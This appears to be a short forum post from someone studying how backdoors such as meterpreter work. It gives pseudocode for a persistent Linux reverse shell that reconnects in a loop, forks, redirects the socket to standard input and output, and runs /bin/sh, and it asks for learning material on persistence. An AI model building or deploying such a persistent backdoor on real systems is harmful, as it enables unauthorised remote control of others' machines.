In my attempt at learning more about how backdoors like meterpreter work, I have written a reverse shell in C++ for linux.
To achieve persistence, I tried looking into meterpreter's source code which was not so helpful as the code is a bit scattered and I wasn't able to locate the feature in it.
This is my trial to have persistent back connection. I think there might be a better way than using multiple processes.
while (true): if (socket = try_connect_back()) : child_pid = fork(); if (is_parent_process) : wait_for_child(); elseif (is_child_process) : duplicate(socket, stdin); duplicate(socket, stdout); duplicate(socket, stderr); exec("/bin/sh"); sleep(TIMER_INTERVAL);
So I am looking for material, like articles or simplified source codes, to better learn how some of these features work.